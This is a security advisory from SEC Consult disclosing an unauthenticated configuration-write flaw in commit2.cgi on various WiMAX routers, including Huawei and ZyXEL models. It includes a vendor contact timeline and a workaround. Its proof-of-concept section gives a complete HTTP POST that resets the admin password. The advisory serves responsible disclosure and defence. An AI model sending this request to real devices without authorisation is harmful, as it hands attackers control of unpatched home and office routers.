We have published an accompanying blog post to this technical advisory with
further information:
http://blog.sec-consult.com/2017/06/ghosts-from-past-authentication-bypass.html

SEC Consult Vulnerability Lab Security Advisory < 20170607-0 >
=======================================================================
              title: Various WiMAX CPEs Authentication Bypass
            product: see "Vulnerable / tested versions"
 vulnerable version: see "Vulnerable / tested versions"
      fixed version:
         CVE number:
             impact: Critical
           homepage:
              found: 2016-08-22
                 by: Stefan ViehbAPck (Office Vienna)
                     SEC Consult Vulnerability Lab

                     An integrated part of SEC Consult
                     Bangkok - Berlin - Linz - Luxembourg - Montreal - Moscow
                     Kuala Lumpur - Singapore - Vienna (HQ) - Vilnius - Zurich

                     https://www.sec-consult.com

=======================================================================

Vendor description:
-------------------
Various vendors are affected. See "Vulnerable / tested versions".


Business recommendation:
------------------------
SEC Consult recommends to decommission affected devices.


Vulnerability overview/description:
-----------------------------------
Various WiMAX CPEs are vulnerable to an authentication bypass. An attacker
can set arbitrary configuration values without prior authentication.
The vulnerability is located in commit2.cgi (implemented in libmtk_httpd_plugin.so)


Proof of concept:
-----------------
The following HTTP request sets the admin username and password (configuration
ADMIN_PASSWD) to "admin".
An attacker can now login in with admin permissions.

POST /commit2.cgi HTTP/1.1
Host: 1.2.3.4
Content-Type: application/x-www-form-urlencoded
Content-Length: 47

ADMIN_PASSWD=$1$ZZ0DVlc6$QLqFLzW8YDZObgHtMZrYF/


Vulnerable / tested versions:
-----------------------------
The vulnerability was found in the firmware of various WiMAX CPEs.
A list of "likely" affected products is below. The firmware of these products was
developed by ZyXEL and is likely based on the MediaTek SDK.

The relation with Huawei, ZTE, MADA etc. is not clear, possibly ODM/OEM/OBM.

GreenPacket OX350 (Version: ?)
GreenPacket OX-350 (Version: ?)
Huawei BM2022 (Version: v2.10.14)
Huawei HES-309M (Version: ?)
Huawei HES-319M (Version: ?)
Huawei HES-319M2W (Version: ?)
Huawei HES-339M (Version: ?)
MADA Soho Wireless Router (Version: v2.10.13)
ZTE OX-330P (Version: ?)
ZyXEL MAX218M (Version: 2.00(UXG.0)D0)
ZyXEL MAX218M1W (Version: 2.00(UXE.3)D0)
ZyXEL MAX218MW (Version: 2.00(UXD.2)D0)
ZyXEL MAX308M (Version: 2.00(UUA.3)D0)
ZyXEL MAX318M (Version: ?)
ZyXEL MAX338M (Version: ?)

It is _very likely_, that other products are affected as well.

On some devices remote HTTP/HTTPS administration via the WAN connection is
enabled.


Vendor contact timeline:
------------------------
2016-09-09: Sending advisory draft to Huawei PSIRT.
2016-09-09: Huawei confirms receipt of advisory. Starts investigation.
2016-09-23: Huawei states that affected products are End of Service (EOS) since
2014.
2016-10-08: Sending questions regarding other affected vendors and relation to
the vendors.
2016-11-22: Huawei states that they cannot share requested information.
2017-04-04: Informing CERT/CC.
2017-06-07: Coordinated release of security advisory.


Solution:
---------
None available.


Workaround:
-----------
Restrict network access to the web interface from WAN.


Advisory URL:
-------------
https://www.sec-consult.com/en/Vulnerability-Lab/Advisories.htm


~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

SEC Consult Vulnerability Lab

SEC Consult
Bangkok - Berlin - Linz - Luxembourg - Montreal - Moscow
Kuala Lumpur - Singapore - Vienna (HQ) - Vilnius - Zurich

About SEC Consult Vulnerability Lab
The SEC Consult Vulnerability Lab is an integrated part of SEC Consult. It
ensures the continued knowledge gain of SEC Consult in the field of network
and application security to stay ahead of the attacker. The SEC Consult
Vulnerability Lab supports high-quality penetration testing and the evaluation
of new offensive and defensive technologies for our customers. Hence our
customers obtain the most current information about vulnerabilities and valid
recommendation about the risk profile of new technologies.

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
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Send us your application https://www.sec-consult.com/en/Career.htm

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Contact our local offices https://www.sec-consult.com/en/About/Contact.htm
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Mail: research at sec-consult dot com
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Blog: http://blog.sec-consult.com
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EOF Stefan ViehbAPck / @2017